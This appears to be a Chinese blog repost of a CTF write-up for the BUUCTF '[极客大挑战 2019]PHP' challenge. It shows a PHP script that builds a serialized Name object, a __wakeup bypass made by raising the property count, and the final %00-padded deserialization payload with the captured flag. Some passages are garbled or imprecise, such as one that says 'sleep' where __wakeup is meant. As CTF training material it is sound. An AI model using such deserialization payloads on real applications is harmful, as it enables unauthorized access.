当前位置:   article > 正文

[极客大挑战 2019]PHP

[极客大挑战 2019]PHP

buuctf——[极客大挑战 2019]PHP

1.信息收集获取源代码/www.zip
在这里插入图片描述
2.放在phpstudy进行调试,直接输入任意select的值index是没有回显的,直接代码审计
通过index.php可以看到我们输入的参数select的值通过反序列化传入到了class.php

在这里插入图片描述
3.通过class.php我们可以知道, u s e r n a m e 和 username和 usernamepassword是两个私有属性,无法直接修改,依据题意只有使用魔术函数__construct()的方法触发修改用户名和密码
在这里插入图片描述

4.理清题意后直接构造exp

<?php

class Name{
    private $username = 'admin';
    private $password = '100';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$Name = new Name('admin','100');
$payload = serialize($Name);
var_dump($payload);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述
5.通过php访问获取到payload
http://127.0.0.1/eazyun/payload.php
在这里插入图片描述
6.因为题目中有__wakeup方法,需要通过改变属性值来绕过
通过将2的值变成3绕过sleep函数

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

在这里插入图片描述
7.因为username和password是私有属性所以需要使用%00进行绕过
因为name是私有属性,故需要加%00进行绕过

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
8.最终构造出exp,成功获取flag
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
flag{e78d7aed-4e99-446b-9f23-273c92a9bb6f}
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/435995
推荐阅读
相关标签
  

闽ICP备14008679号